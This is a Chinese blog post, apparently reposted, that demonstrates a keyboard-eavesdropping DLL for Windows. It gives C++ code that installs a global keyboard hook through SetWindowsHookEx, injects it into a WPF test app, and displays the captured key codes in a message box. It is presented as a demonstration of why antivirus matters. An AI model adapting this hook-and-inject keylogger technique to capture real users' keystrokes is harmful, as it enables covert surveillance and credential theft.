聊一聊 WPF 程序的键盘是如何被窃听的?

一:背景

1.讲故事

前几天群里很热闹,看了下在争论两个问题:

  • 电脑里要不要装杀毒软件 ?

  • 应该装什么杀毒软件 ?

不管杀毒软件流氓不流氓,在如今病毒肆虐的当下互联网,装一个还是能帮我们拦截很多意想不到的东西,为了眼见为实,这一篇我们就聊一个窃听 键盘事件 的恶意代码。

2. 思路

实现思路非常简单,一旦某个程序触发了键盘事件,就给目标程序注入一个 dll,在这个 dll 中来实现窃听的业务逻辑,简而言之就是在 OS -> WPF 的消息传递链路上安装一个 消息钩子

二:键盘窃听

1. 新建 WPF 程序

要截获 WPF 的键盘事件,首先得新建一个 WpfApp1.exe 程序,放一个文本框,等一会我们要窃听它,截图如下:

1a0571d7db2ce4786dd76ca3c165f652.png

2. 注入进程的 MyHook.dll

新建一个 C++ 的动态链接库项目,取名 MyHook.dll,这个 dll 是用于动态注入到 WpfApp1 中做窃听的,参考代码如下:

#include "pch.h"#include "stdio.h"
#include "windows.h"
#include <string>using namespace std;HINSTANCE myhookModule = NULL;
HHOOK g_hHook = NULL;BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:myhookModule = hModule;  break;}return TRUE;
}LRESULT CALLBACK MyKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {char szPath[MAX_PATH] = {};if (nCode == 0 && !(lParam & 0x80000000)) {//1. 提取程序名GetModuleFileNameA(NULL, szPath, MAX_PATH);char* p = strrchr(szPath, '\\');//2. 监控 WpfApp1.exeif (!_stricmp(p + 1, "WpfApp1.exe")) {wstring content = L"您的按键:" + to_wstring(toascii(wParam));MessageBox(NULL, content.c_str(), L"友情提示", 1);}}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}extern "C" {__declspec(dllexport) void HookStart() {g_hHook = SetWindowsHookEx(WH_KEYBOARD, MyKeyboardProc, myhookModule, 0);}__declspec(dllexport) void HookStop() {if (g_hHook) {UnhookWindowsHookEx(g_hHook);g_hHook = NULL;}}
}

代码逻辑很简单,大概分三块:

  1. SetWindowsHookEx

在 Win32Api 中提供了一个叫 SetWindowsHookEx 函数用来设置消息钩子,从方法参数中可以看到,可以指定对某一类消息进行监听,并且还能触发相应的回调函数,比如这里的 MyKeyboardProc,消息类型参考如下:

#define WH_MIN              (-1)
#define WH_MSGFILTER        (-1)
#define WH_JOURNALRECORD    0
#define WH_JOURNALPLAYBACK  1
#define WH_KEYBOARD         2
#define WH_GETMESSAGE       3
#define WH_CALLWNDPROC      4
#define WH_CBT              5
#define WH_SYSMSGFILTER     6
#define WH_MOUSE            7
...

最后通过 C 的方式导出 HookStartHookStop 函数,方便宿主提前启动。

  1. MyKeyboardProc

这个是具体的回调函数,逻辑很简单,就是对 WpfApp1.exe 程序的键盘事件的触发提前处理,其他程序触发的事件我们不需要处理,最后通过 MessageBox 的方式将输入的键值以 ascii 码的方式打印出来。

  1. DllMain

这个是 DLL 的入口函数,和 exe 的 Main 的作用是一致的,我们在dll被加载的时候,记录下 module 的实例,方便操作系统将这个 module 注入到其他进程中。

3. MyHook 的宿主 MyHookMain.exe

接下来新建一个名为 MyHookMain.exe 的 C++ 程序,目的就是调用 HookStart 函数,参考如下代码:

#include <iostream>
#include "stdio.h"
#include "conio.h"
#include "Windows.h"typedef void(*MY_HOOKSTART)();int main()
{HMODULE hDll = LoadLibrary(L"MyHook.dll");MY_HOOKSTART hookStart = (MY_HOOKSTART)GetProcAddress(hDll, "HookStart");hookStart();printf("hookStart 已成功启动!");getchar();FreeLibrary(hDll);
}

接下来把程序跑起来,如果正常就启用了消息挂钩,截图如下:

692b0dbfe502d345e425d9cc493b413e.png

4. 演示

所有工作准备好之后,接下来把杀毒软件关掉,对,就是杀毒软件,然后打开 WpfApp1.exe 程序,随便输入一个字符,马上就能看到该字符的 ascii 码,截图如下:

f4c33d3d90894f16966f287df8b7350d.png

既然有弹框,肯定是走了 MyKeyboardProc 逻辑,那怎么验证呢?可以用 Process Explorer 工具看一下 WpfApp1.exe 中有没有注入 MyHook.dll 就可以了。

397476509719a80a001580ae44b106e3.png

太棒了,真的注入进去了,如果你开启杀毒软件,或者某些卫士,你会发现 SetWindowsHookEx 函数不起作用了, MyHook.dll 也不会注入到进程中。

三:总结

这个例子很好的告诉了我们,恶意程序无处不在,防不胜防,如果你的系统真的放在裸机下跑,总会有中招的时候,所以杀毒该装的还得装。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/281085.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

httpclient 实现文件上传中转

开发功能&#xff1a; web前端提交上传文件 —> a服务器接收 —> 转发到b服务器进行文件处理 下面是简单实现的代码&#xff0c;具体细节优化根本自己的需求更改。 public String handleResponse(HttpServletRequest request, HttpServletResponse response)throws Unsup…

AngularJS $watch 性能杀手

双向绑定是AngularJS核心概念之一&#xff0c;它给我们带来了思维的转变&#xff0c;不再是以DOM为驱动&#xff0c;而是以Model为核心&#xff0c;View中写上声明式标签&#xff08;指令或{{}}&#xff09;,AngularJS会在后台默默同步View到Model,并将Model的变化更新到View。…

ipad和iphone切图_如何在iPhone和iPad上的Messages App中固定对话

ipad和iphone切图Khamosh PathakKhamosh PathakBetween updates from your bank and group chats, the Messages app on your iPhone or iPad can be a mess. Use the pinned conversations feature introduced in iOS 14 and iPadOS 14 to access your favorite conversations…

这个WPF的企业级MES项目爆火,就是UI争议大!

工业4.0时代&#xff0c;智能智造MES系统大行其道&#xff0c;然而基于.NET跨平台的罕见&#xff01;这里有一套《.NET6WPF企业级MES实战》教程&#xff0c;基于.NET6跨平台开发&#xff0c;实现了MES多核心功能&#xff0c;尤其是开发框架完整&#xff0c;非常适合复用。这里分…

单调栈学习笔记

线性结构——单调栈①定义&#xff1a;栈内的元素&#xff0c;按照某种方式排序&#xff08;单调递增或单调递减&#xff09;如果新入栈的元素破坏了单调性&#xff0c;就弹出栈内元素&#xff0c;直到满足单调性②优点&#xff1a;可以很方便地求出某个数左边或者右边第一个比…

《VMware Virtual SAN权威指南(原书第2版)》一1.5 什么是Virtual SAN

1.5 什么是Virtual SAN Virtual SAN是VMware推出的一种存储解决方案&#xff0c;它的beta版本在2013年发布&#xff0c;2014年3月正式开放给公众&#xff0c;并于2016年3月升级到6.2版。VSAN完全集成在vSphere中&#xff0c;它是一种基于对象的存储系统&#xff0c;是虚拟机存…

在Outlook 2007中查看您的Google日历

Google Calendar is a phenomenal web application for managing your calendars, but so many of us are still forced to use Outlook at work. The good thing is you can have the best of both worlds by subscribing to your Google Calendar from Outlook. Google日历是…

元宇宙、数字孪生和企业NFT

昨天参加了华为云上海开发者日活动&#xff0c;并客串主持了一场"元宇宙技术创新和商业实践之路"的闭门研讨会。研讨会上大家讨论热烈&#xff0c;干货多多&#xff0c;大家提到元宇宙的企业级前景、数字藏品和数字人案例的亲身体会。在会上盆盆分享了自己关于企业级…

CMD命令硬盘/光驱挂载

使用Mountvol命令挂载时&#xff0c;发现GUID不对啊&#xff0c;哪应该到哪找呢&#xff1f; 1.首先可以用Mountvol命令&#xff1a; Mountvol 创建、删除或列出卷的装入点。Mountvol 是一种不需要驱动器号而连接卷的方式。 语法&#xff1a; mountvol [Drive:]Path VolumeName…

纽约大街上的免费WiFi,终于铺起来了

纽约市的城市互联网项目终于开始动工了。 这个被称为 LinkNYC 的网络服务项目&#xff0c;是将现有的 1 万多个付费电话亭改造成提供 Wi-Fi 网络的“热点桩”&#xff0c;为纽约市民提供免费网络。从 12 月 28 日开始&#xff0c;工人们已经开始安装首批的 LinkNYC 热点桩了&am…

reddit_如何将多个子Reddit与多个Reddit合并

redditchrisdorney/Shutterstock.comchrisdorney / Shutterstock.comIf you’re subscribed to a lot of communities on Reddits, some of the content you want to see may get lost in the mix. For easier browsing, you can make your own “multireddit” that combines …

BeetleX之ServerBuilder对象使用

ServerBuilder是BeetleX新版本添加对象&#xff0c;用于进一步简化TCP服务的构建。ServerBuilder对象提供两个泛型版本&#xff1a;一个是针对网络数据流操作&#xff0c;另一个则针对协议解释器的对象处理操作。网络数据流当需要解释简单的网络数据流时使用ServerBuilder<A…

solidworks小金球_如何在没有电缆的情况下传送第77届年度金球奖

solidworks小金球Gil C / Shutterstock吉尔C / ShutterstockAs the 77th annual Golden Globes Awards approach, you may be wondering how to watch it without paying a cable bill. These streaming services are the best way to watch the awards show tonight if you cu…

2017年,这两个大数据岗位一定会火!

讨论哪个大数据岗位会火之前&#xff0c;我们先来简单的分析一下大数据领域的行情&#xff0c;这里重点说一下当前的情况。 2016年&#xff0c;互联网行业遇到了资本寒冬&#xff0c;抛开大公司不说&#xff0c;一些中小型的公司不断的缩减预算&#xff0c;因为很难融到钱。 但…

PHP7 学习笔记(十一)使用phpstudy快速配置一个虚拟主机

说明&#xff1a;为了windows本地开发php方便&#xff0c;这里推荐使用PHP集成环境phpstudy。 目的&#xff1a;使用域名访问项目&#xff08;tinywan.test&#xff09; 1、官网&#xff1a;http://www.phpstudy.net 2、虚拟主机的配置 3、站点域名管理 &#xff08;1&#xff…

.NET跨平台框架选择之一 - Avalonia UI

本文阅读目录1. Avalonia UI简介Avalonia UI文档教程&#xff1a;https://docs.avaloniaui.net/docs/getting-started随着跨平台越来越流行&#xff0c;.NET支持跨平台至今也有十几年的光景了(Mono[1]开始)。但是目前基于.NET[2]的跨平台&#xff0c;大多数还是在使用B/S架构的…

网络串流_串流NBA篮球的最便宜方式(无需电缆)

网络串流I love NBA basketball. Every year, I get really excited around the beginning of September because I know tip-off is approaching. This year, I also had to figure out how I’m going to watch the Bulls (lose almost every game) with a combination of st…

你认识的C# foreach语法糖,真的是全部吗?

本文的知识点其实由golang知名的for循环陷阱发散而来&#xff0c; 对应到我的主力语言C#&#xff0c; 其实牵涉到闭包、foreach。为了便于理解&#xff0c;我重新组织了语言&#xff0c;以倒叙结构行文。先给大家提炼出一个C#题&#xff1a;观察for、foreach闭包的差异左边输出…

C#对window 硬件类操作,ManagementObjectSearcher

原文转载&#xff1a;http://blog.csdn.net/da_keng/article/details/50589145 纯属转载&#xff0c;复制过来方便编程时寻找。感谢作者&#xff1a;I-Awakening复制前补充&#xff1a; 在刚学C#&#xff0c;用ManagementObjectSearcher 竟然不能解析到头文件&#xff0c;需要手…

twitter批量取消关注_如何在Twitter上取消阻止“潜在敏感内容”

twitter批量取消关注Twitter推特Twitter blocks some tweets with a “potentially sensitive content” warning. You can disable this warning—even on an iPhone or iPad, where the option isn’t normally available. You can also disable sensitive content warnings …